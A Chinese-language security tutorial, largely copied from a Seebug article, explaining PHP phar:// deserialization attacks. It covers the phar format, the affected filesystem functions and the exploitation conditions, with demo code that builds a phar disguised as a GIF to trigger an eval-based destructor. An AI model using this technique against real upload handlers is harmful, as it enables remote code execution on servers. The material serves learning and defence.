0x00 重点

参考:https://paper.seebug.org/680/ 就是一顿抄

0x01 前言

通常我们在利用反序列化漏洞的时候,只能将序列化后的字符串传入unserialize(),随着代码安全性越来越高,利用难度也越来越大。

但在不久前的Black Hat上,安全研究员Sam Thomas分享了议题It’s a PHP unserialization vulnerability Jim, but not as we know it,利用phar文件会以序列化的形式存储用户自定义的meta-data这一特性,拓展了php反序列化漏洞的攻击面。

该方法在文件系统函数(file_exists()、is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作。

这让一些看起来“人畜无害”的函数变得“暗藏杀机”,下面我们就来了解一下这种攻击手法。

phar:// 跟 php://filter 、data:// 等一样,都是流包装,可以将一组php文件进行打包,可以创建默认执行的stub

0x02 原理分析

0x02.1 a stub

可以理解为一个标志,格式为xxx<?php xxx; __HALT_COMPILER();?>,前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。

0x02.2 官方手册

phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。

这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。

https://www.php.net/manual/zh/phar.fileformat.phar.php
image.png

image.png

0x02.3 签名格式

https://www.php.net/manual/zh/phar.fileformat.signature.php

image.png

image.png

0x03 demo

根据文件结构我们来自己构建一个phar文件,php内置了一个Phar类来处理相关操作

注意:要将 php.ini 中的 phar.readonly 选项设置为Off,否则无法生成phar文件

  1. // 文件名称: phar.php
  2. <?php
  3. class TestObject {
  4. }
  5. $phar = new Phar("phar.phar"); //后缀名必须为phar
  6. $phar->startBuffering();
  7. $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
  8. $o = new TestObject();
  9. $o->data = 'hello';
  10. $phar->setMetadata($o); //将自定义的meta-data存入manifest
  11. $phar->addFromString("test.txt", "test"); //添加要压缩的文件
  12. //签名自动计算
  13. $phar->stopBuffering();
  14. ?>
  15. // 执行完毕以后会在跟目录下生成 phar.phar 这个文件
  1. // phar_test_class.php
  2. <?php
  3. class TestObject {
  4. public $data;
  5. public function __destruct()
  6. {
  7. echo $this->data;
  8. }
  9. }
  10. include('phar://phar.phar');
  11. ?>
  12. // 执行结果 会去访问 phar_test_class.php 文件同目录下面的 phar.phar
  13. // 输出: hello

0x04 受影响函数列表

php一大部分文件系统函数在通过phar://伪协议解析的时候,都会将meta-data进行反序列化,影响函数如下

受影响函数列表
fileatime filectime file_exists file_get_contents
file_put_contents file filegroup fopen
fileinode filemtime fileowner fileperms
is_dir is_executable is_file is_link
is_readable is_writable is_writeable parse_ini_file
copy unlink stat readfile
new SplFileInfo()

0x05 利用条件

  1. phar文件要能够上传到服务器端
  2. 要有可用的魔术方法作为“跳板”来构造
  3. 受影响函数列表-参数可控,且 : / phar 等特殊字符没有被过滤

0x06 将phar伪造成其他格式的文件

在前面分析phar的文件结构时可能会注意到,php识别phar文件是通过其文件头的stub,更确切一点来说是 __HALT_COMPILER();?>这段代码,对前面的内容或者后缀名是没有要求的。

那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件。

  1. // add_phar.php
  2. <?php
  3. class TestObject {
  4. }
  5. $phar = new Phar('phar-test.phar');
  6. $phar->startBuffering();
  7. $phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); //设置stub,增加gif文件头
  8. $phar->addFromString('test.txt','test'); //添加要压缩的文件
  9. $object = new TestObject();
  10. $object->data = 'phpinfo();';
  11. $phar->setMetadata($object); //将自定义meta-data存入manifest
  12. $phar->stopBuffering();
  13. ?>
  14. // 执行完毕以后,会在文件根目录生成一个 phar-test.phar 文件
  15. // 然后我们在把 phar-test.phar 文件 重命名为 phar-test.gif
  16. // 文件扩展名为 gif
  17. // 文件头为 GIF89a
  18. // 那么就可以绕过大部分程序检测了
  1. // phar_test.php
  2. <?php
  3. class TestObject {
  4. public $data;
  5. public function __destruct()
  6. {
  7. eval($this->data);
  8. }
  9. }
  10. include('phar://phar-test.gif');
  11. ?>

然后执行 phar_test.php

注意:phar-test.gif 文件是在 add_phar.php生成并且修改出来的

image.png